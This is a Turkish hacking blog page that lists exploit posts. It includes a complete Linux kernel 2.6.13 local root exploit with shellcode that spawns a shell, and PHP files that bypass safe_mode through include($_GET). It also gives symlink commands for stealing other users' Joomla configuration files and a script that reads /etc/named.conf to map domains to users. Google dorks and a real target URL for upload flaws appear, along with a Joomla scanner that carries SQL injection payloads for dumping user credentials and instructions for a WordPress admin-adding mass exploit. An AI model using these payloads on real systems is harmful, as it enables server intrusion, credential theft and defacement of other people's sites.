Exploitler etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
Exploitler etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster

15 Mayıs 2015 Cuma

Linux kernel 2.6.13 local root Exploit

Kod:
/*
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >>   exploit   database separated by   exploit     0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               I'm Angel Injection member from Inj3ct0r Team          1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

#####################################################
# Title:   linux     kernel    2.6.13    local     root     exploit       #
# Author: Angel Injection                           #
# Home: http://1337day.com                          #
# Thanks To: Inj3ct0r Team                          #
#####################################################
**
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <linux/a.out.h>
#include <asm/unistd.h>


static struct exec ex;
static char *e[256];
static char *a[4];
static char b[512];
static char t[256];
static volatile int *c;


/*              shell code */
__asm__ (" __excode: call 1f \n"
 " 1: mov $23, %eax \n"
 " xor %ebx, %ebx \n"
 " int $0x80 \n"
 " pop %eax \n"
 " mov $cmd-1b, %ebx \n"
 " add %eax, %ebx \n"
 " mov $arg-1b, %ecx \n"
 " add %eax, %ecx \n"
 " mov %ebx, (%ecx) \n"
 " mov %ecx, %edx \n"
 " add $4, %edx \n"
 " mov $11, %eax \n"
 " int $0x80 \n"
 " mov $1, %eax \n"
 " int $0x80 \n"
 " arg: .quad 0x00, 0x00 \n"
 " cmd: .string \"/bin/sh\" \n"
 " __excode_e: nop \n"
 " .global __excode \n"
 " .global __excode_e \n"
);



extern void (*__excode) (void);
extern void (*__excode_e) (void);


void
error (char *err)
{
  perror (err);
  fflush (stderr);
  exit (1);
}


/* exploit this shit */
void
exploit (char *file)
{
  int i, fd;
  void *p;
  struct stat st;

  printf ("\ntrying to   exploit   %s\n\n", file);
  fflush (stdout);
  chmod ("/proc/self/environ", 04755);
  c = mmap (0, 4096, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, 0, 0);
  memset ((void *) c, 0, 4096);

  /*      slow down machine       */
  fd = open (file, O_RDONLY);
  fstat (fd, &st);
  p =
    (void *) mmap (0, st.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
  if (p == MAP_FAILED)
    error ("mmap");
  prctl (PR_SET_DUMPABLE, 0, 0, 0, 0);
  sprintf (t, "/proc/%d/environ", getpid ());
  sched_yield ();
  execve (NULL, a, e);
  madvise (0, 0, MADV_WILLNEED);
  i = fork ();

  /*      give it a try           */
  if (i)
    {    
      (*c)++;
      !madvise (p, st.st_size, MADV_WILLNEED) ? : error ("madvise");
      prctl (PR_SET_DUMPABLE, 1, 0, 0, 0);
      sched_yield ();
    }
  else
    {
    nice(10);
    while (!(*c));
sched_yield ();
      execve (t, a, e);
      error ("failed");
    }

  waitpid (i, NULL, 0);
  exit (0);
}


int
main (int ac, char **av)
{
  int i, j, k, s;
  char *p;

  memset (e, 0, sizeof (e));
  memset (a, 0, sizeof (a));
  a[0] = strdup (av[0]);
  a[1] = strdup (av[0]);
  a[2] = strdup (av[1]);

  if (ac < 2)
    error ("usage: binary <big file name>");
  if (ac > 2)
      exploit   (av[2]);
  printf ("\npreparing");
  fflush (stdout);

  /*      make setuid a.out       */
  memset (&ex, 0, sizeof (ex));
  N_SET_MAGIC (ex, NMAGIC);
  N_SET_MACHTYPE (ex, M_386);
  s = ((unsigned) &__excode_e) - (unsigned) &__excode;
  ex.a_text = s;
  ex.a_syms = -(s + sizeof (ex));

  memset (b, 0, sizeof (b));
  memcpy (b, &ex, sizeof (ex));
  memcpy (b + sizeof (ex), &__excode, s);

  /*      make environment        */
  p = b;
  s += sizeof (ex);
  j = 0;
  for (i = k = 0; i < s; i++)
    {
      if (!p[i])
{
  e[j++] = &p[k];
  k = i + 1;
}
    }

  /*      reexec                  */
  getcwd (t, sizeof (t));
  strcat (t, "/");
  strcat (t, av[0]);
  execve (t, a, e);
  error ("execve");
  return 0;
}


# 1337day.com [2011-10-30]
Devamı...

LiteSpeed server bypass komutları

.htaccess
Kod:
<Files *.php> 
ForceType application/x-httpd-php4 
</Files>
php.ini


Kod:
safe_mode = OFF
ini.php


Kod:
<? 
echo ini_get("safe_mode"); 
echo ini_get("open_basedir"); 
include($_GET["file"]); 
ini_restore("safe_mode"); 
ini_restore("open_basedir"); 
echo ini_get("safe_mode"); 
echo ini_get("open_basedir"); 
include($_GET["ss"]); 
?>
Bu Dosyaları serverde açtığımız dizine upload ediyoruz örneğin ben Pose diye bir dizin açtım
oraya yükledim farzedelim yapmamız gerekn şu çektiğimiz pwd dosyasından geçmek istediğimiz dizini bulmak örneğin


/home/poseidon/public_html/ dizininde olduğumuzu farz edeli fakat elimzdeki pwd dosyasında şöyle bir başka dizin bulunmakta


/home/bk:/usr/local/cpanel/bin/noshell
/home/bk2:/usr/local/cpanel/bin/noshell
/home/bk3:/usr/local/cpanel/bin/noshell
/home/bk4:/usr/local/cpanel/bin/noshell
/home/bk5:/usr/local/cpanel/bin/noshell
/home/bk6:/usr/local/cpanel/bin/noshell




hepsini farklı olarak düşünü bizim yapmamız gereken geçmek istediğimiz dizini yazmak örneğin ben bu dizinden /home/bk/public_html/
bir başka dizin olan /home/bk:/usr/local/cpanel/bin/noshell dizinine geçmek istiyorum ve oradaki configi alıp yazdırmak istiyorum dikkat etmemiz gerekn husus sistemdir joomlamı wordpressmi


eğer joomla ise


ln -s //home/bk/public_html/configration.php pose.shtml


diyip enterliyoruz eğer configi çekerse ana dizinde şöyle bir sayfa oluşturacak pose.shtml diye tıkladığımızda config bilgisini karşımızda veya source kısmında olduğunu göreceğiz bunu ctrl+u yaparak görebiliriz


NOT:Sunucu php4'e düşürülürken shell'i kaybedebilirsiniz bu yüzden her ihtimale karşı anadizine bir shell upload edin sıkıntı olmasın
Devamı...

Named.conf Okuyucu Script

Cmod Degerini 775 Verin

Kod:
<?
echo "<title>CengizHan-sec.blogspot.com</title>
*********
body,table{background: black; font-family:Verdana,tahoma; color: white; font-size:10px; }
A:link {text-decoration: none;color: red;}
A:active {text-decoration: none;color: red;}
A:visited {text-decoration: none;color: red;}
A:hover {text-decoration: underline; color: red;}
#new,input,table,td,tr,#gg{text-align:center;border-style:solid;text-decoration:bold;}
tr:hover,td:hover{text-align:center;background-color: #FFFFCC; color:green;}
</style>
<p align=center>#Linux server Domains & Users</p>
<p align=center>AzraiL</p><center>";


$d0mains = @file("/etc/named.conf");


if(!$d0mains){ die("<b># Okunamad? -> [ /etc/named.conf ]"); }


echo "<table align=center border=1>
<tr bgcolor=green><td>domailer</td><td>users</td></tr>";


foreach($d0mains as $d0main){


if(eregi("zone",$d0main)){


preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();


if(strlen(trim($domains[1][0])) > 2){ 


$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));


echo "<tr><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>"; flush();


}}}


echo "</table>
<p align='center'>
</a><br>
</p>
";


?>

Devamı...

FilerChucker Upload Açığı

Merhabalar bu açık çoğu sitede bulunmaktadır.İndex upload edebilirsiniz.Tek yapmanız gereken dorku aratıp index.php dosyanızı eklemektir.

DORK: inurl:/cgi-bin/filechucker.cgi
Devamı...

Jobing File Upload Vulnerability

Powered by Jobing File Upload Vulnerability

Author: KkK1337

Google Dork: inurl:"popUpload.asp"

Google Dork: intext:"Powered by Jobing.com Local Jobs"

Exploit path: /popUpload.asp

Exploit example: http://www.[target].com/popUpload.asp

Bypass: php3,phtml,asp,aspx,asp;.txt

File Access:

Document: http://www.naaahrdallas.org/files/81...ments/tech.txt

Image: http://www.naaahrdallas.org/files/819/images/tech.gif
Devamı...

Wordpress Revslider Plugins Shell Upload Exploit

Bir çok arkadaşın özellikle istediği piyasada benzeri olsada pek bulunmayan kullanışlı bir exploittir.

kullanımı kısaca anlatayım site "http://" ise dosya içinden "http" olanı şeçiniz. "https://" olanlar için diger materyali kullanınız.

Resimdeki gibi " 200 OK " Sonucu aldıgınızda sitenin sonuna

/wp-content/plugins/revslider/temp/update_extract/revslider/x.php  yazdıgınızda shelle ulaşmış olursunuz.
pentest.txt
asp shell
upload shelli
2 adet php shell uploadı yapar.

dosyayı incelediginizde anlarsınız zaten

İndir - Download


Devamı...

14 Mayıs 2015 Perşembe

Joomla Scanner v.3 [Python]


Kod: [Seç]
#!/usr/bin/python



# Powered By Dr.AFN[D]ENA



import sys,urllib2,time,httplib







mtucx = 5



dzx = 4







print "joomla Scanner v.3"



print "Gr3etZ to : Makers Hacker Team"



print "pyhthon joomla.py www.site.com"







BAD_RESP = [400,401,404]







def main(path):



    print "Scan:",host.split("/",1)[1]+path



    try:



        h = httplib.HTTP(host.split("/",1)[0])



        h.putrequest("HEAD", "/"+host.split("/",1)[1]+path)



        h.putheader("Host", host.split("/",1)[0])



        h.endheaders()



        resp, reason, headers = h.getreply()



        return resp, reason, headers.get("Server")



    except(), msg:



        print "Error Occurred:",msg



        pass







def timer():



    now = time.localtime(time.time())



    return time.asctime(now)







dzx = { "index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62+union+select+1,2,concat%28username,0x3a,password,0x3a,email%29,4,5,6,7,8,9,10,11,12,13,14,15,16+from+jos_users--" : ["com_idoblog"], "index.php?option=com_ignitegallery&task=view&gallery=-4+union+all+select+1,2,group_concat(id,0x3a,name,0x3a,username,0x3a,email,0x3a,password,0x3a,usertype),4,5,6,7,8,9,10+from+jos_users--" : ["com_ignitegallery"], "index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder=" : ["com_media"], "administrator/components/com_redmystic/chart/tmp-upload-images/" : ["com_redmystic"], "index.php?option=com_users&view=registration" : ["com_user"], "index.php?option=com_jce" : ["JCE","link"], "index.php?option=com_user&view=reset&layout=confirm" : ["com_user"], "index.php?option=com_smartformer":["com_smartformer"],"index.php?option=com_garyscookbook&func=newItem":["com_garyscookbook"],"index.php/component/osproperty/?task=agent_register":["com_osproperty"]}







if len(sys.argv) != 2:



    sys.exit(1)







host = sys.argv[1].replace("http://","").rsplit("/",1)[0]



if host[-1] != "/":



    host = host+"/"



 



print "\nTarget:",host



print "\nScanning Exploit\n"



for xpl,(poc) in dzx.items():



    resp,reason,server = main(xpl)



    if resp not in BAD_RESP:



        print ""



        print "\nResult:",resp, reason



        print "\nVuln",poc



    else:



        print ""



        print "\nResult:",resp, reason



        print



print "\nEnd\n"

Devamı...

WordPress 0day Add Admin Mass Exploiting



Wordpress Yeni Admin Ekleme Açıgı !

Açık 1337day'da Paylaşılmıştır Exploit İle Toplu Bir Şekilde Bunu Yapabiliriz.
http://1337day.com/exploit/22660 => Açık

Exploit Kullanımı :

php exploit.php listw.txt themes
liste.txt : Site Listesi
themes : Açıklı Tema

Kullanımı Bu Şekildedir.


"here ur email" yazan kısma kendi mail adresinizi yazın





"appius" Örnek tema ismidir. siz kullandıgınız açıklı temayı yazacaksınız.



Devamı...

Hakkımda

Uzun zamandır hack ve güvenlik camiası içerisindeyim.

bir çok projede yer aldım. Bir çok insan tanıtım Ve yine bir çok hack forumunda başkanlık, adminlik yaptım.

Şuanda

Alsancaktim.com'da Efeler Saldırı Timi Başkanlıgı yapıyorum.

Hack ruhunun dogasında paylaşmak vardır.

Bu blog paylaşım amaçlıdır !

Reklam

Popular Posts

Designed By CengizHan